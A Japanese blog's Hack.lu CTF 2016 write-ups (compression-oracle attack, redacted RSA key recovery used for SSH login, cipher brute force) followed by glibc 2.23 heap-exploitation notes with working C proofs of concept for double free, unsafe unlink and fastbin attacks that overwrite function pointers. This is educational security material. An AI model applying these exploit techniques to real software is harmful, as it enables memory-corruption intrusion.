Hack.lu CTF 2016 供養（Writeup）

CTF

Hack.lu CTF 2016に参加。594ptで66位。

simplepdf (Programming 150 (- 52))

注釈に添付ファイルがついており、これを抽出すると同じようなPDFがまた出てくる。 抽出を10003回繰り返すとflagが得られる。

import zlib
import re

with open('simplepdf_f8004a3ad0acde31c40267b9856e63fc.pdf', 'rb') as f:
    data = f.read()

n = 0
while True:
    n += 1
    print n

    m = re.search(r'/Length (\d+)\n', data)
    if not m:
        break
    num = int(m.group(1))
    data = data[m.end():]
    idx = data.index('\nstream\n')
    data = data[idx+8:]
    data = data[:num]

    data = zlib.decompress(data)

    print len(data)
    print "%r" % data[:0x10]

with open('s.pdf', 'wb') as f:
    f.write(data)
flag{pdf_packing_is_fun}

cryptolocker (Crypto 200 (- 52))

8文字のkeyを2文字ずつ4個に分け、それぞれSHA-256にかけたものをkeyとして4回暗号化している。 2文字ずつブルートフォースで復号し、パディングが長いものを正しいkeyとして特定していく。 得られたkeyで復号するとodtファイルが得られる。

#!/usr/bin/env python3
import sys
import hashlib
from AESCipher import *

def checkpad(s):
    c = s[-1]
    pad = s[-ord(c):]
    if all(x == c for x in pad):
        return pad
    else:
        return ''

if __name__ == "__main__":
    filename = "flag.encrypted"
    ciphertext = open(filename, "rb").read()

    seed = '4D'
    key = hashlib.sha256(seed).digest()
    cipher = AESCipher(key)
    ciphertext = AESCipher._unpad(cipher.decrypt(ciphertext))

    seed = 'WH'
    key = hashlib.sha256(seed).digest()
    cipher = AESCipher(key)
    ciphertext = AESCipher._unpad(cipher.decrypt(ciphertext))

    seed = '52'
    key = hashlib.sha256(seed).digest()
    cipher = AESCipher(key)
    ciphertext = AESCipher._unpad(cipher.decrypt(ciphertext))

    seed = 'Sg'
    key = hashlib.sha256(seed).digest()
    cipher = AESCipher(key)
    ciphertext = AESCipher._unpad(cipher.decrypt(ciphertext))

    with open('plaintext.bin', 'wb') as f:
        f.write(ciphertext)
    sys.exit(0)

    for i in xrange(0x20, 0x7f):
        for j in xrange(0x20, 0x7f):
            seed = chr(i) + chr(j)
            key = hashlib.sha256(seed).digest()
            cipher = AESCipher(key)
            plaintext = cipher.decrypt(ciphertext)
            pad = checkpad(plaintext)
            if pad:
                print "%r: %r" % (pad, seed)
$ file plaintext.bin
plaintext.bin: OpenDocument Text
flag{v3ry_b4d_crypt0_l0ck3r}

cornelius1 (Crypto 200 (- 29))

入力値がflagと合わせてdeflateで圧縮されて返ってくる。 同じ部分文字列が複数あると圧縮後のサイズが小さくなることをもとに、一文字ずつ特定する（CRIME / compression oracle attack）。

import urllib2
import string

user = "flag:"
while True:
    max_length = None
    for c in '.0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!?_':
        print c
        user2 = user + c
        url = "https://cthulhu.fluxfingers.net:1505/?user=" + (user2 * 100)
        f = urllib2.urlopen(url)
        cookie = f.headers['Set-Cookie']
        secret = cookie[5:].decode('base64')
        length = len(secret)
        if max_length is None:
            max_length = length
        elif length < max_length:
            user += c
            print user
            break
    else:
        break
flag:Mu7aichede

redacted (Crypto 200 (- 23))

一部が伏せられたPEM鍵が与えられる。 鍵の長さからRSA 2048-bitであることがわかるので、適当に生成した鍵で伏せられた部分を埋めてdiffを取るとp、q、eが伏せられずに入っている。 これをもとに、rsatoolで改めて鍵を生成する。

$ diff -u reference.txt problem.txt
--- reference.txt       2016-10-19 22:18:03.911305046 +0900
+++ problem.txt 2016-10-19 22:17:52.591296990 +0900
@@ -1,90 +1,90 @@
 Private-Key: (2048 bit)
 modulus:
     00:a5:3b:05:f6:3a:6c:dd:5e:34:84:9e:18:ff:5c:
-    88:1c:21:47:c2:10:57:bd:d3:a9:78:ce:13:73:63:
-    6c:bc:35:45:c3:7b:55:45:14:a1:76:b3:19:9b:87:
-    5d:34:98:df:78:b2:ad:47:82:0c:14:fc:97:f0:6a:
-    56:6b:ff:ee:dd:19:c0:21:a6:ba:14:1b:24:85:5b:
-    70:f5:5c:ab:b0:fe:15:7d:5c:3a:c9:97:42:82:0d:
-    38:20:81:16:59:5b:77:35:23:e3:26:86:eb:36:55:
-    67:eb:3a:0c:30:d9:03:04:27:6d:07:d1:36:3f:de:
-    a6:52:64:cb:d2:cd:b0:52:1e:7d:55:f3:9d:28:3c:
-    2d:41:f4:f0:29:7f:ab:b3:67:d1:93:ea:dc:f9:e4:
-    64:12:cf:47:0a:a5:5c:e9:7e:a8:7b:f6:3a:9a:05:
-    2c:a1:b1:45:16:9f:6b:fc:6e:e2:fb:c7:87:dd:ae:
-    ed:58:8e:e7:e0:16:fe:1a:58:12:99:2b:c2:ef:3d:
-    c2:52:4a:30:85:db:e0:d1:4a:d0:16:db:bf:ad:08:
-    38:3d:52:2c:f2:a7:13:10:5e:f8:ce:ec:0c:e1:68:
-    98:11:28:20:b3:4c:8c:5e:0e:75:dc:7f:53:11:20:
-    1a:81:68:75:e6:12:ba:dd:c8:4f:7e:db:20:4b:93:
-    a4:25
+    88:ff:4a:9c:d7:8e:94:5d:76:e9:78:ce:13:73:63:
+    6c:bc:35:45:c1:67:bd:01:1d:64:3b:33:19:9b:87:
+    5d:34:98:df:78:b2:ad:47:82:0c:14:fc:97:f0:c4:
+    92:0b:ff:ee:dd:19:c0:21:a6:ba:14:1b:24:87:c7:
+    02:a2:f2:1c:00:e6:71:14:46:85:72:36:b5:c3:11:
+    06:e4:c1:d3:ee:5b:d7:c7:85:34:2a:ad:b6:a7:d1:
+    76:df:7e:dc:b7:ce:1d:78:df:e9:92:85:7e:1a:34:
+    73:07:56:18:6c:a4:c2:00:de:c2:a9:7f:33:b3:6c:
+    78:9f:d7:bb:58:66:fb:d6:8e:83:d8:23:ea:e6:4c:
+    9e:2d:74:0f:2f:09:d0:38:3b:39:d5:1a:ae:b1:90:
+    85:8e:8a:3b:6a:d9:cb:ab:8d:93:5a:a1:bd:01:d1:
+    cb:ba:23:8a:f4:df:84:55:d7:d7:89:c7:1e:e6:09:
+    1f:71:1e:76:6f:63:3a:04:20:f5:30:ad:b7:04:95:
+    06:60:70:a0:70:73:fc:b0:1d:21:cc:2f:d5:64:8d:
+    9f:54:75:d7:69:69:7d:3e:32:58:68:31:5a:b8:e5:
+    0e:73:50:0f:4c:2d:0b:85:48:ce:38:e0:13:38:29:
+    4e:81
 publicExponent: 65537 (0x10001)
 privateExponent:
-    39:cd:97:3d:57:9d:24:28:43:b9:2d:51:d3:6b:fc:
-    95:d2:b2:b6:da:5e:c7:a2:d7:83:d2:9c:0d:5e:f7:
-    f8:33:ae:cf:3f:43:4a:62:78:45:fd:4b:f5:13:fa:
-    f0:5e:96:b7:33:d2:d8:d4:4f:03:bc:86:2e:ee:14:
-    83:bd:ca:43:81:31:ac:d4:15:fe:d8:ac:03:17:45:
-    42:21:04:53:6b:df:fa:b6:1c:3e:cf:f2:cd:6a:70:
-    7b:36:8d:a9:ff:0c:8a:03:9f:00:a8:6c:7a:da:8f:
-    fb:43:98:66:32:55:12:cb:f4:21:aa:f8:0e:8a:06:
-    a7:86:69:a3:ba:9f:77:6a:71:49:a2:47:2f:f2:79:
-    2b:c0:d7:84:f9:3f:f8:77:39:c5:03:f6:74:86:53:
-    d3:8e:46:9a:11:21:2f:8c:65:aa:4f:f3:51:8c:d2:
-    ed:82:14:a0:e0:1a:fa:1f:25:2d:84:f9:02:74:b9:
-    83:c4:3c:75:05:59:46:ae:05:9e:fa:42:4b:66:aa:
-    8c:92:ef:ee:79:c6:67:88:51:33:c7:39:4b:cb:62:
-    cc:f6:b5:02:97:ce:93:66:1d:f6:c3:34:a3:7d:82:
-    e6:32:3e:0b:70:fb:b0:25:e4:56:9a:05:14:63:66:
-    d7:89:bb:8d:ec:4e:cc:4a:f1:72:f4:a1:24:2c:b6:
-    21
+    30:5b:82:3a:4e:4f:4d:ed:fd:cd:3b:00:55:d9:ff:
+    94:94:66:bb:68:be:58:70:1a:78:1f:91:d7:b2:90:
+    46:e9:47:b2:de:99:df:4b:62:a7:7d:96:05:8f:81:
+    1a:8f:37:31:47:6a:1f:35:48:52:80:39:38:d5:7b:
+    1b:75:92:9b:15:56:d2:c5:eb:0d:e6:32:6e:a9:3c:
+    da:8e:26:7d:91:6e:9f:9c:fd:85:5a:01:81:f4:ff:
+    d7:43:b2:4a:85:bf:37:8b:fb:bc:df:ab:13:ce:a1:
+    2a:5b:7e:f4:9b:f0:4b:05:0b:89:a3:1b:97:00:63:
+    69:c4:5a:e9:02:92:91:e3:0f:78:9b:3f:d3:da:b4:
+    cd:3b:3b:88:b7:48:90:b3:57:ee:c0:f0:07:53:5b:
+    25:58:c5:76:04:ad:e3:65:22:c3:9c:fe:22:ba:ba:
+    43:94:07:47:80:59:d6:30:74:7d:75:2d:f5:21:f8:
+    8f:44:a0:fe:d2:88:d9:8e:25:48:40:a2:59:b4:6d:
+    45:1b:b8:e1:60:f2:59:46:85:ec:68:ff:6c:ef:2d:
+    bb:56:31:34:f4:4d:eb:0e:6d:46:7e:8e:bf:95:51:
+    6d:51:ef:a7:b1:0b:bb:0f:20:a4:a6:cd:9c:52:59:
+    9d:67:06:3d:c8:c0:7a:0a:48:58:9c:f5:ec:5a:32:
+    81
 prime1:
-    00:ce:76:b5:36:d8:98:64:d4:e1:b3:2a:c0:d6:a6:
-    e1:e4:96:65:42:bb:a6:6e:6c:65:cb:39:99:dd:86:
-    f4:ab:4f:6d:1f:76:0b:ff:53:70:18:8b:f4:3a:c8:
-    27:d2:87:5c:8a:f4:3f:35:e7:a9:08:e2:d6:f3:fe:
-    84:50:ac:e7:92:4e:c0:7e:e6:44:ad:2a:77:08:4e:
-    4f:79:28:81:0c:0a:84:5c:59:92:50:f5:5d:b0:bc:
-    d0:50:a3:84:ce:ba:f4:f2:c0:67:a5:17:97:9a:e4:
-    56:41:05:00:41:32:7f:5f:f4:2a:06:b8:39:37:d7:
-    f4:3d:47:37:81:4b:65:33:89
+    00:e4:dd:ba:96:c1:cb:c4:f4:12:04:ee:6f:c1:6e:
+    14:83:04:38:ae:ee:4b:bd:21:af:5c:e8:8d:fd:25:
+    a1:2f:2a:9a:26:99:4e:ef:a0:e6:be:d0:4a:c2:e2:
+    9b:f6:39:b4:c8:f9:75:ad:88:6f:31:15:ec:5e:38:
+    4c:c6:8c:1f:d7:d7:db:63:cc:63:f6:34:61:52:80:
+    9c:71:d2:26:22:3d:7d:69:90:ca:e6:4d:fc:16:f1:
+    74:fa:1a:6e:e4:6b:25:af:af:fc:f3:93:6a:61:d3:
+    f2:c6:9d:6c:ee:99:4f:ef:f8:f2:f0:a7:06:38:42:
+    01:10:d3:03:d0:75:ab:16:d3
 prime2:
-    00:cc:df:b7:b2:50:8f:25:a5:bd:e7:d5:c4:ed:ed:
-    fe:53:22:0f:42:e5:f1:d9:5b:66:08:19:ce:03:f6:
-    00:0d:f5:a3:23:46:5c:d6:96:79:b1:b1:f9:be:eb:
-    40:5c:85:3b:67:7c:3f:8e:f8:6b:c2:30:89:84:cf:
-    67:94:44:02:57:7c:ea:4f:52:75:19:66:40:1c:82:
-    25:c0:22:87:15:d0:ef:66:e9:7b:a8:91:33:fa:2b:
-    37:e7:ba:1f:a4:88:93:65:ac:58:0e:90:da:6f:d3:
-    b8:a0:12:c5:a1:69:df:41:4a:7f:c0:ed:a5:bd:1f:
-    8e:b6:2d:9c:7f:06:19:d8:bd
+    00:de:e5:59:98:94:7b:fd:b7:5c:7e:34:9b:c7:6a:
+    16:73:a8:c4:1b:62:92:9c:24:2c:0e:3d:0c:80:87:
+    38:97:25:18:f8:63:93:04:b3:34:0d:6a:88:51:0c:
+    c5:24:e3:79:63:a4:2d:06:38:f6:05:57:2a:a7:b9:
+    3e:da:07:dc:29:45:71:18:fa:9a:99:00:62:f0:5d:
+    00:25:d5:46:7d:3e:df:8d:b4:48:cf:12:ed:4a:b6:
+    79:67:be:70:c2:a5:61:7b:30:85:d0:e1:51:35:7d:
+    63:b1:ec:a4:b5:37:46:fc:be:58:6c:dc:8a:44:05:
+    cf:af:71:9f:3f:01:13:18:db
 exponent1:
-    73:c4:c4:5f:f8:9b:9b:0e:73:70:0f:6d:09:ef:91:
-    82:a7:82:28:25:28:71:8a:7e:99:b1:b6:c1:2c:c7:
-    4c:b7:c0:ac:7f:78:c2:b6:7a:88:89:11:6d:54:86:
-    5f:da:5e:dd:db:8f:06:1e:db:fd:8b:94:94:44:06:
-    d5:65:de:83:7f:7d:18:aa:ed:9f:5b:cc:5a:ef:ee:
-    48:35:9a:06:b2:6e:fd:89:8c:2d:b1:27:d3:ce:4b:
-    d0:ab:9f:f0:7b:8c:96:01:a5:1c:41:5a:55:13:eb:
-    f9:91:60:4f:2e:8d:95:b4:47:4c:75:48:40:33:eb:
-    53:e0:f7:12:9c:c0:26:61
+    06:1a:b3:e3:59:7f:e9:dc:e8:ae:20:fd:f2:16:d1:
+    8d:3d:0b:95:fe:dd:1e:4a:4b:b7:1a:ac:ce:d7:b6:
+    18:df:f6:04:99:8a:35:72:01:35:8d:b0:b0:ca:02:
+    86:ea:bb:1b:b1:2b:a6:59:41:3d:f9:eb:b8:07:a0:
+    64:9b:50:2e:1d:9f:c8:65:a7:34:e5:e8:c2:9e:93:
+    8d:a5:a1:46:c0:85:1b:cf:b4:d9:b7:b2:c5:99:e3:
+    18:d8:a3:a4:8c:07:11:4c:8c:5e:a2:cb:ef:98:0b:
+    9d:a8:8d:43:3f:eb:95:e6:f9:f3:d9:40:9d:37:85:
+    77:c1:69:14:a2:4e:d1:e9
 exponent2:
     7d:2f:de:e1:b8:d4:1f:9f:0d:51:d2:90:09:0b:3a:
-    32:b6:47:39:0b:a5:22:b9:f4:b8:d2:7b:ce:73:cd:
-    48:ba:66:3b:31:cd:9c:da:49:f6:48:d8:60:cf:03:
-    7f:05:72:6d:23:c0:fa:ad:d5:ba:cd:49:da:bb:99:
-    81:41:a5:64:ac:51:c8:b2:8c:17:3f:21:c1:c9:cd:
-    23:80:75:a6:e1:0a:c8:89:b7:24:23:c5:ed:01:e7:
-    a1:53:5b:ee:7f:fe:01:4c:b4:6a:02:1d:57:e3:b9:
-    97:26:a1:58:a6:86:e3:30:90:ab:e5:0b:37:6b:47:
-    1b:0e:f7:e7:ae:64:b0:c9
+    32:b6:47:39:0b:a5:22:b9:f4:b8:d3:e8:2e:cf:96:
+    59:a2:76:fe:5e:db:49:43:53:fd:4a:ed:cf:16:d8:
+    0c:1c:2f:fd:23:c0:fa:ad:d5:ba:cd:49:da:bb:99:
+    81:41:a5:64:ac:51:c8:b2:8c:17:3f:21:c1:c9:54:
+    ea:bf:a8:0a:11:b6:c8:89:b7:24:23:c5:ed:01:e7:
+    a1:53:5b:ee:7f:fe:01:4c:b4:6a:0e:0a:6c:39:81:
+    10:8e:69:5d:45:59:88:0b:ff:22:c8:6b:1a:6f:7b:
+    2b:c3:42:a2:4e:0f:b4:c9
 coefficient:
     39:27:09:7d:f2:1d:84:33:49:f2:10:3b:38:e4:51:
     14:7a:e0:79:f1:6e:72:75:8f:a4:04:8f:54:24:05:
-    90:72:ca:35:1e:45:4a:c5:b6:bd:f8:0c:89:50:f3:
-    3b:ae:5d:8f:3b:be:43:93:87:2c:89:49:ad:8d:25:
+    90:72:ca:35:1e:78:85:44:52:a2:7d:35:8a:79:16:
+    3d:47:ae:8f:3b:be:43:93:87:2c:89:49:ad:8d:25:
     02:36:17:c6:1a:7c:49:00:5d:9b:fa:59:0e:6c:dd:
-    1d:fa:37:49:de:ff:fe:2d:06:66:99:60:64:7b:dd:
-    36:cc:47:a2:b3:aa:2d:9c:9e:3b:64:c9:d6:af:0e:
-    0c:7b:e5:ca:dc:72:65:2c:59:80:3a:c6:94:34:55:
-    49:3a:42:e9:55:d4:d7:0e
+    1d:fa:37:49:de:ff:fe:2d:06:67:7b:e2:12:bf:27:
+    e8:3f:c2:19:3d:ba:0d:56:4d:87:46:37:fa:89:75:
+    20:a6:a9:df:3e:84:3f:ab:3c:05:12:56:10:27:23:
+    ef:1d:fe:d1:79:83:ad:0d
p = """
    00:e4:dd:ba:96:c1:cb:c4:f4:12:04:ee:6f:c1:6e:
    14:83:04:38:ae:ee:4b:bd:21:af:5c:e8:8d:fd:25:
    a1:2f:2a:9a:26:99:4e:ef:a0:e6:be:d0:4a:c2:e2:
    9b:f6:39:b4:c8:f9:75:ad:88:6f:31:15:ec:5e:38:
    4c:c6:8c:1f:d7:d7:db:63:cc:63:f6:34:61:52:80:
    9c:71:d2:26:22:3d:7d:69:90:ca:e6:4d:fc:16:f1:
    74:fa:1a:6e:e4:6b:25:af:af:fc:f3:93:6a:61:d3:
    f2:c6:9d:6c:ee:99:4f:ef:f8:f2:f0:a7:06:38:42:
    01:10:d3:03:d0:75:ab:16:d3
"""
q = """
    00:de:e5:59:98:94:7b:fd:b7:5c:7e:34:9b:c7:6a:
    16:73:a8:c4:1b:62:92:9c:24:2c:0e:3d:0c:80:87:
    38:97:25:18:f8:63:93:04:b3:34:0d:6a:88:51:0c:
    c5:24:e3:79:63:a4:2d:06:38:f6:05:57:2a:a7:b9:
    3e:da:07:dc:29:45:71:18:fa:9a:99:00:62:f0:5d:
    00:25:d5:46:7d:3e:df:8d:b4:48:cf:12:ed:4a:b6:
    79:67:be:70:c2:a5:61:7b:30:85:d0:e1:51:35:7d:
    63:b1:ec:a4:b5:37:46:fc:be:58:6c:dc:8a:44:05:
    cf:af:71:9f:3f:01:13:18:db
"""

p = p.replace(':', ' ').replace('\n', ' ').replace(' ', '')
q = q.replace(':', ' ').replace('\n', ' ').replace(' ', '')
p = int(p, 16)
q = int(q, 16)
e = 65537
print p
print q
print e
$ python test.py
160715260849342318931136112813341037345926969012288227225240875622403009493539093929333081548188459992247771680452063593583756278915740193557402138743266217376005578973188641800583345510266770139969709567420846366801788060791738229180205729066714584288249507088921482835100030743352147986722422517067206563539
156522822773738162417254450203271175855220146400024771706084276654684994055624152101542626647589634389361232150411812572776336649201321449632016603858688896275125914484326556417817195311471437215701390750315213065194536381852437122083849274951300180499399546807140772435452395099516509211865918104434503784667
65537

$ python rsatool.py -p 160715260849342318931136112813341037345926969012288227225240875622403009493539093929333081548188459992247771680452063593583756278915740193557402138743266217376005578973188641800583345510266770139969709567420846366801788060791738229180205729066714584288249507088921482835100030743352147986722422517067206563539 -q 156522822773738162417254450203271175855220146400024771706084276654684994055624152101542626647589634389361232150411812572776336649201321449632016603858688896275125914484326556417817195311471437215701390750315213065194536381852437122083849274951300180499399546807140772435452395099516509211865918104434503784667 -o generated.pem

$ ssh -i generated.pem -p 1504 berlin@cthulhu.fluxfingers.net
Welcome to Ubuntu 14.04.5 LTS (GNU/Linux 3.13.0-65-generic x86_64)

 * Documentation:  https://help.ubuntu.com/

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.


The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

Last login: Thu Oct 20 15:39:03 2016 from 78-23-31-228.access.telenet.be
Congratz! The flag is:
flag{thought_ssh_privkeys_are_secure?}
Connection to cthulhu.fluxfingers.net closed.

所感

他に解きたかった問題。

  • CthCoin (Crypto / Web 150 (+ 100))
  • maze (Programming / Misc 200 (+ 7))
  • dataonly (Exploiting 200 (+ 7))

glibc malloc exploit techniques

Exploit

malloc系exploitテクニックのうち、応用しやすそうなもののメモ。

環境

Ubuntu Server 16.04.1 LTS 64bit版、GLIBC 2.23

$ uname -a
Linux vm-ubuntu64 4.4.0-31-generic #50-Ubuntu SMP Wed Jul 13 00:07:12 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux

$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 16.04.1 LTS
Release:        16.04
Codename:       xenial

$ /lib/x86_64-linux-gnu/libc.so.6
GNU C Library (Ubuntu GLIBC 2.23-0ubuntu3) stable release version 2.23, by Roland McGrath et al.

double free vulnerability and overlapping chunks

double free脆弱性は一度freeしたポインタをもう一度freeできてしまう脆弱性である。 この脆弱性を使うと、次のようにしてオーバーラップしたchunkを二つ得ることができる。 また、これらを利用することでサイズの違うchunkの書き換えやヒープアドレス、libcアドレスのリークを行うことができる。

/* double_free.c */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main()
{
    puts("[+] allocate p1");
    char *p1 = malloc(0x80);
    printf("p1 = %p\n", p1);

    puts("\n[+] free p1");
    free(p1);

    puts("\n[+] allocate p2");
    char *p2 = malloc(0x90);
    printf("p2 = %p\n", p2);

    puts("\n[+] p1 double free");
    free(p1);

    puts("\n[+] allocate p3");
    char *p3 = malloc(0xa0);
    printf("p3 = %p\n", p3);

    puts("\n[+] now p2 and p3 are overlapped");
    memset(p2, 'A', 0x80);
    memset(p3, 'B', 0x80);
    printf("*p2 = %s\n", p2);
    printf("*p3 = %s\n", p3);

    puts("\n[+] allocate p4, p5, p6");
    char *p4 = malloc(0xb0);
    char *p5 = malloc(0xc0);
    char *p6 = malloc(0xd0);
    printf("p4 = %p\n", p4);
    printf("p5 = %p\n", p5);
    printf("p6 = %p\n", p6);

    puts("\n[+] free p5 and p2");
    free(p5);
    free(p2);

    puts("\n[+] leak heap address via p3");
    printf("*p3 = %p\n", *(void **)p3);
    printf("heap base = %p\n", *(void **)p3 - 0x580);

    puts("\n[+] free p6");
    free(p6);

    puts("\n[+] leak libc address via p3: &(main_arena->top)");
    printf("*p3 = %p\n", *(void **)p3);
    printf("libc base = %p\n", *(void **)p3 - 0x3c3b78);

    return 0;
}
$ gcc double_free.c -o double_free

$ ./double_free
[+] allocate p1
p1 = 0x235a420

[+] free p1

[+] allocate p2
p2 = 0x235a420

[+] p1 double free

[+] allocate p3
p3 = 0x235a420

[+] now p2 and p3 are overlapped
*p2 = BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
*p3 = BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB

[+] allocate p4, p5, p6
p4 = 0x235a4d0
p5 = 0x235a590
p6 = 0x235a660

[+] free p5 and p2

[+] leak heap address via p3
*p3 = 0x235a580
heap base = 0x235a000

[+] free p6

[+] leak libc address via p3: &(main_arena->top)
*p3 = 0x7f8990ea9b78
libc base = 0x7f8990ae6000

ヒープオーバーフローやこの挙動を利用してheap上のchunk headerを書き換えることにより、以降に述べる攻撃が可能となる。

allocate large chunks in heap segment

通常0x20000バイト（M_MMAP_THRESHOLD）以上のメモリをallocすると、その領域はmmapにより確保される。 しかし、一度確保したメモリをfreeしてからあらためてallocすると、以降の領域はheap領域に確保される。

/* large_chunks_in_heap.c */
#include <stdio.h>
#include <stdlib.h>

int main()
{
    puts("[+] allocate p1");
    char *p1 = malloc(0x21000);
    printf("p1 = %p\n", p1);

    puts("\n[+] free p1");
    free(p1);

    puts("\n[+] allocate p2, p3, p4");
    char *p2 = malloc(0x21000);
    printf("p2 = %p\n", p2);
    char *p3 = malloc(0x21000);
    printf("p3 = %p\n", p3);
    char *p4 = malloc(0x21000);
    printf("p4 = %p\n", p4);

    return 0;
}
$ gcc large_chunks_in_heap.c -o large_chunks_in_heap

$ ./large_chunks_in_heap
[+] allocate p1
p1 = 0x7fbc43aa0010

[+] free p1

[+] allocate p2, p3, p4
p2 = 0x16db420
p3 = 0x16fc430
p4 = 0x171d440

unsafe unlink attack

古くに存在した攻撃手法としてunlink attackが知られているが、glibc 2.3.4以降、次に示すようなチェックによりこの攻撃は防がれている（safe unlinking）。

1413 /* Take a chunk off a bin list */
1414 #define unlink(AV, P, BK, FD) {                                            \
1415     FD = P->fd;                                                               \
1416     BK = P->bk;                                                               \
1417     if (__builtin_expect (FD->bk != P || BK->fd != P, 0))                     \  /* <- here */
1418       malloc_printerr (check_action, "corrupted double-linked list", P, AV);  \
1419     else {                                                                    \
1420         FD->bk = BK;                                                          \
1421         BK->fd = FD;                                                          \
1422         if (!in_smallbin_range (P->size)                                      \
1423             && __builtin_expect (P->fd_nextsize != NULL, 0)) {                \
1424             if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)        \
1425                 || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))    \
1426               malloc_printerr (check_action,                                  \
1427                                "corrupted double-linked list (not small)",    \
1428                                P, AV);                                        \
1429             if (FD->fd_nextsize == NULL) {                                    \
1430                 if (P->fd_nextsize == P)                                      \
1431                   FD->fd_nextsize = FD->bk_nextsize = FD;                     \
1432                 else {                                                        \
1433                     FD->fd_nextsize = P->fd_nextsize;                         \
1434                     FD->bk_nextsize = P->bk_nextsize;                         \
1435                     P->fd_nextsize->bk_nextsize = FD;                         \
1436                     P->bk_nextsize->fd_nextsize = FD;                         \
1437                   }                                                           \
1438               } else {                                                        \
1439                 P->fd_nextsize->bk_nextsize = P->bk_nextsize;                 \
1440                 P->bk_nextsize->fd_nextsize = P->fd_nextsize;                 \
1441               }                                                               \
1442           }                                                                   \
1443       }                                                                       \
1444 }

しかし、mallocで確保される領域のポインタがbss領域など推測可能なアドレスに配置される場合、偽のfreed chunkを作ることによりこのポインタ自体を書き換えることができる。

/* unsafe_unlink.c */
#include <stdio.h>
#include <stdlib.h>

void jackpot() { puts("jackpot!"); }

char *p;

int main()
{
    printf("&p = %p\n", &p);

    puts("\n[+] allocate p and p1");
    p = malloc(0x40);
    char *p1 = malloc(0x80);
    printf("p = %p\n", p);
    printf("p1 = %p\n", p1);
    printf("p1->prev_size = %p\n", *(void **)(p1-0x10));
    printf("p1->size = %p\n", *(void **)(p1-0x8));

    puts("\n[+] abuse p overflow");
    *(void **)(p+0x10) = (void *)&p-0x18;
    *(void **)(p+0x18) = (void *)&p-0x10;
    *(void **)(p+0x40) = 0x40;
    *(void **)(p+0x48) = 0x90;
    printf("p->fd->bk = %p\n", *(void **)(p+0x10)+0x18);
    printf("p->bk->fd = %p\n", *(void **)(p+0x18)+0x10);
    printf("p1->prev_size = %p\n", *(void **)(p1-0x10));
    printf("p1->size = %p\n", *(void **)(p1-0x8));

    puts("\n[+] free p1 (p <- &p-0x18)");
    free(p1);
    printf("p = %p\n", p);

    puts("\n[+] modify p and write *p");
    *(void **)(p+0x18) = 0x601028;  /* printf@got */
    *(void **)p = jackpot;

    printf("p = %p\n", p);
    return 0;
}
$ gcc unsafe_unlink.c -o unsafe_unlink
unsafe_unlink.c: In function ‘main’:
unsafe_unlink.c:24:24: warning: assignment makes pointer from integer without a cast [-Wint-conversion]
     *(void **)(p+0x40) = 0x40;
                        ^
unsafe_unlink.c:25:24: warning: assignment makes pointer from integer without a cast [-Wint-conversion]
     *(void **)(p+0x48) = 0x90;
                        ^
unsafe_unlink.c:36:24: warning: assignment makes pointer from integer without a cast [-Wint-conversion]
     *(void **)(p+0x18) = 0x601028;  /* printf@got */
                        ^

$ ./unsafe_unlink
&p = 0x601058

[+] allocate p and p1
p = 0x20bc420
p1 = 0x20bc470
p1->prev_size = (nil)
p1->size = 0x91

[+] abuse p overflow
p->fd->bk = 0x601058
p->bk->fd = 0x601058
p1->prev_size = 0x40
p1->size = 0x90

[+] free p1 (p <- &p-0x18)
p = 0x601040

[+] modify p and write *p
jackpot!

追記

上のコードで行っているPREV_INUSEクリア→prev_sizeをfake chunkに向ける→unsafe unlink attackという流れはHouse of Einherjarとして公表されている。 Einherjarは古ノルド語で、エインヘリャルと読む。 厳密には、fake chunkのfd、bkをfake chunk自身に向け、そのアドレスを返させるものを指すのかもしれない。

fastbins unlink attack

通常0x80=128バイト（M_MXFAST）未満のメモリをallocすると、その領域はfastbinsと呼ばれる特別なfree listに繋がれるchunkとして扱われる。 さらに、fastbins chunkがunlinkされる際のチェックは、通常のunlinkとは異なり、p->fd->sizeが正しいかどうかのみとなる。 これを利用すると、書き換えたいアドレスの1ワード前を適当な値にできる場合、次のようにして攻撃を行うことができる。

/* fastbins_unlink.c */
#include <stdio.h>
#include <stdlib.h>

void leave() { puts("exiting..."); }
void jackpot() { puts("jackpot!"); }

void *n = 0x51;
void (*p)() = leave;

int main()
{
    printf("&p = %p\n", &p);

    puts("\n[+] allocate p1, p2");
    char *p1 = malloc(0x20);
    char *p2 = malloc(0x40);
    printf("p1 = %p\n", p1);
    printf("p2 = %p\n", p2);

    puts("\n[+] free p2");
    free(p2);

    puts("\n[+] abuse p1 overflow");
    *(void **)(p1+0x28) = 0x51;
    *(void **)(p1+0x30) = (void *)&p - 0x10;
    printf("p2->size = %p\n", *(void **)(p2-0x8));
    printf("p2->fd = %p\n", *(void **)(p2+0x0));

    puts("\n[+] unlink p2");
    char *p3 = malloc(0x40);
    printf("p3 = %p\n", p3);

    puts("\n[+] get target memory");
    char *p4 = malloc(0x40);
    printf("p4 = %p\n", p4);
    *(void **)p4 = jackpot;

    p();
    return 0;
}
$ gcc fastbins_unlink.c -o fastbins_unlink
fastbins_unlink.c:8:11: warning: initialization makes pointer from integer without a cast [-Wint-conversion]
 void *n = 0x51;
           ^
fastbins_unlink.c: In function ‘main’:
fastbins_unlink.c:25:25: warning: assignment makes pointer from integer without a cast [-Wint-conversion]
     *(void **)(p1+0x28) = 0x51;
                         ^

$ ./fastbins_unlink
&p = 0x601058

[+] allocate p1, p2
p1 = 0x1ac6420
p2 = 0x1ac6450

[+] free p2

